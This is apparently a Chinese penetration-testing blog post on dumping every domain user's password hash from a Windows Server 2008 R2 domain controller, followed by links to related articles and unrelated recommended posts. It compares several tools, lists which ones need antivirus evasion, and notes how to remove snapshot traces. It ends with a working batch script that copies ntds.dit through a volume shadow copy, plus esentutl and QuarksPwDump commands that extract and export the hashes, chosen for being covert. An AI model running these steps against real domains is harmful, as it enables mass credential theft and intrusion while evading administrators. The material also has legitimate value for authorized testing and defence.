0x00目标:

导出当前域内所有用户的hash

0x01测试环境:

域控:server2008 r2

杀毒软件:已安装*

域控权限:可使用net use远程登陆,不使用3389

0x02测试方法:

(1)mimikatz:

hash数量:只能抓取登陆过的用户hash,无法抓取所有用户

免杀:需要免杀

(2)pwdump:

hash数量:无法抓取所有用户

免杀:需要免杀

(3)vssown.vbs + libesedb + NtdsXtract

hash数量:所有用户

免杀:不需要

优点:

获得信息很全面,可获得以下信息:

Record ID

User name

User principal name

SAM Account name

SAM Account type

GUID

SID

When created

When changed

Account expires

Password last set

Last logon

Last logon timestamp

Bad password time

Logon count

Bad password count

User Account Control

Ancestors

Password hashes

Password history

Supplemental credentials

Member of

缺点:

vssown.vbs使用后需要删除快照清理痕迹

vssown.vbs偶尔会报错

数据库巨大,下载回本地很麻烦

libesedb + NtdsXtract环境搭建麻烦,目前网上中文的教程存在一些错误,下载链接也已失效,需要自行摸索

用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取

Tips:
libesedb + NtdsXtract环境搭建的一点提示:

(download libesedb)

https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz

tar zxvf libesedb-experimental-20150409.tar.gz

cd libesedb-20150409

./configure

make

cd esedbtools/

./esedbexport

(copy ntds.dit to ~/libesedb-20150409/esedbtools)

./esedbexport ./ntds.dit

(wait...)

mv ntds.dit.export/ ../../

(download ntdsxtract)

http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

unzip ntdsxtract_v1_0.zip

cd NTDSXtract 1.0/

(move SYSTEM to '/root/SYSTEM')

(get passwordhashes )

python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'

(4)ntdsutil.exe + QuarksPwDump.exe

hash数量:所有用户

免杀:QuarksPwDump.exe需要免杀

优点:

获得信息很全面 QuarksPwDump.exe可在windows下使用,读取hash值的操作简便快捷

缺点:

ntdsutil.exe使用后需要删除快照清理痕迹 ntdsutil.exe偶尔会报错
巨大的数据库,QuarksPwDump.exe读取偶尔会报错 server2003的shell下无法使用

0x03实际测试:

  • gethashes.exe:没有源码,忽略
  • mimikatz:无法抓出所有用户hash,本机管理员口令也无法导出
  • pwdump:抓取数量不足
  • vssown.vbs + libesedb + NtdsXtract:成功,耗时3天+
  • ntdsutil.exe + QuarksPwDump.exe:ntdsutil.exe报错,失败

    0x04分析:

    5种方法唯一成功的是vssown.vbs + libesedb + NtdsXtract,但是耗时太久,操作麻烦,下载数据库容易暴露,vssown.vbs备份的信息容易被管理员发现

    其他方法中可取的地方:vssown.vbs复制数据库的方法很是巧妙,但存在一些不足,配合域控的at命令执行较为麻烦;QuarksPwDump.exe可在windows下直接使用,免去读取数据库的等待,并且QuarksPwDump可获得源码,能够配合实际使用做修改。

    那么大胆设想一下:如果使用QuarksPwDump.exe在域控上直接读取ntds.dit岂不是最好

    0x05改进:

    (1)分析vssown.vbs的复制办法,找到一种更好的解决办法,改用ShadowCopy实现ntds.dit的复制
    (2)对QuarksPwDump的改造,实现命令行下的自动读取及导出信息

    Tips:

    ShadowCopy 是一款增强型的免费文件复制工具,由于使用了微软卷影副本(`Volume Shadow Copy`)技术,它能够复制被锁定的文件或者被其他程序打开的文件,

    因此只要是硬盘的上的文件,即使正被程序占用,`ShadowCopy` 都可以拷贝出来。

    0x06最终方案:

    (1)使用ShadowCopy的命令行版,编写bat实现拷贝ntds.dit至当前目录

    setlocal

    if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK

    set SOURCE_DRIVE_LETTER=%SystemDrive%

    set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit

    set DESTINATION_PATH=%~dp0

    @echo ...Determine the scripts to be executed/generated...

    set CALLBACK_SCRIPT=%~dpnx0

    set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd

    @echo ...Creating the shadow copy...

    "%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%

    del /f %TEMP_GENERATED_SCRIPT%

    @goto :EOF

    :IS_CALLBACK

    setlocal

    @echo ...Obtaining the shadow copy device name...

    call %TEMP_GENERATED_SCRIPT%

    @echo ...Copying from the shadow copy to the destination path...

    copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

    参考链接: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

    (2)使用QuarksPwDump直接读取信息并将结果导出至文件,先执行

    esentutl /p /o ntds.dit

    修复复制出来的数据库

    QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

    读取并导出。

    注:实际使用时ntds.dit和log.txt需要加绝对路径

    Tips:

    QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.

    源码下载链接,vs2010直接编译即可

    https://github.com/quarkslab/quarkspwdump

    0x07小结:

    ShadowCopy+QuarksPwDump:

    hash数量:所有用户

    免杀:不需要

    优点:

    获得信息全面

    bat一键搞定,简单高效

    无需下载ntds.dit,隐蔽性高

导出当前域内所有用户hash的技术整理的更多相关文章

  1. 6.Dump域内用户Hash姿势集合

    本文转自先知社区,原文链接:https://xz.aliyun.com/t/2527#toc-10 原文地址:https://pentestlab.blog/2018/07/04/dumping-do ...

  2. 内网技巧-通过SAM数据库获得本地用户hash的方法

    内网技巧-通过SAM数据库获得本地用户hash的方法 在windows上的C:\Windows\System32\config目录保存着当前用户的密码hash.我们可以使用相关手段获取该hash. 提 ...

  3. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  4. (转)MS14-068域内提权漏洞总结

    0x01 漏洞起源 说到ms14-068,不得不说silver ticket,也就是银票.银票是一张tgs,也就是一张服务票据.服务票据是客户端直接发送给服务器,并请求服务资源的.如果服务器没有向域控 ...

  5. [提权]域内提权神器 MS14-068 完整EXP

     可以让任何域内用户提升为域管理员     c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...

  6. MS16-072域内中间人攻击

    0x01 漏洞利用 在目标主机域用户口令已知的条件下,目标主机在进行策略更新时,对域服务器的认证存在漏洞,攻击者劫持认证服务器的过程,引导至伪造的域服务器,并在域服务器中制定用户的计划任务策略,可以获 ...

  7. 域内信息收集 powershell收集域内信息

    POwershell收集域内信息 Powershell(你可以看做CMD的升级版 但是和cmd完全不一样) 原来的powershe是不能执行任何脚本的 更改执行策略 这个是一个绕过的脚本 接下来我们了 ...

  8. AD域内DNS服务器如何解析公网域名

    原创地址:http://www.cnblogs.com/jfzhu/p/4022999.html 转载请注明出处 AD域内需要有DNS服务器,用于解析域内的计算机名,但是域内的计算如何解析公网的域名呢 ...

  9. mysql经纬度查询并且计算2KM范围内附近用户的sql查询性能优化实例教程

    之前很傻很天真地以为无非就是逐个计算距离,然后比较出来就行了,然后当碰到访问用户很多,而且数据库中经纬度信息很多的时候,计算量的迅速增长,能让服务器完全傻逼掉,还是老前辈的经验比我们丰富,给了我很大的 ...

随机推荐

  1. 浅谈javascript函数,变量声明及作用域

    javascript函数跟变量的声明.作用域这些概念网上都已经讲烂了. 这里写个博客,也相当于做个笔记. 变量声明 首先看个例子: var globalVar = "gv"; fu ...

  2. 《Think Python》第16章学习笔记

    目录 <Think Python>第16章学习笔记 16.1 Time 16.2 纯函数(Pure functions) 16.3 修改器(Modifiers) 16.4 原型 vs. 方 ...

  3. JAVA泛型——逆变

    在上篇<JAVA泛型——协变>这篇文章中遗留以下问题——协变不能解决将子类型添加到父类型的泛型列表中.本篇将用逆变来解决这个问题. 实验准备 我们首先增加以下方法,见代码清单1所示. 代码 ...

  4. 分享一个好用的dns

  5. 撩课-Python-每天5道面试题-第1天

    一. 尽可能详细的描述出一个应用软件, 比如QQ, 在计算机中运行时涉及的软硬件, 以及说明我们编程的侧重点? 电脑开机, 从硬盘中(外部存储设备)加载操作系统(系统软件)到内存(内部存储设备), 并 ...

  6. Java基础之JDK的下载与安装

    做Java开发已经很长一段时间了,最近在回顾Java的基础知识,感觉好多都是知道这个概念,能说个皮毛,但是往深了说又不知道怎么说,所以打算对Java从头做一个回顾,算是对自己所学知识的一个巩固和深入了 ...

  7. Dinic算法----最大流常用算法之一

    ——没有什么是一个BFS或一个DFS解决不了的:如果有,那就两个一起. 最大流的$EK$算法虽然简单,但时间复杂度是$O(nm^2)$,在竞赛中不太常用. 竞赛中常用的$Dinic$算法和$SAP$, ...

  8. ps入门教程:photoshop工作界面

    请大家安装好PS(这不是废话嘛……),然后将PS的界面熟悉一下,消除对PS的惧怕心理~~学会新建文件和保存文件,学会设置参考线. 安装完毕后,打开PS,就进入了PS的操作界面,我们来看一下[图1.1] ...

  9. html基础概念

    一.HyperText Markup Language   内容,html是弱代码语言,代码编写不严谨 1.超链接  <a href="#">超级链接(anchor)& ...

  10. css取消双击选中文字

    在我们在写前端页面的时候,由于手速过快(当然这都是指的老司机),会经常双击,浏览器就会默认选中你双击的文本,这种感觉有点不太好. 这个时候就用到了 user-select:none; 属性. 因为存在 ...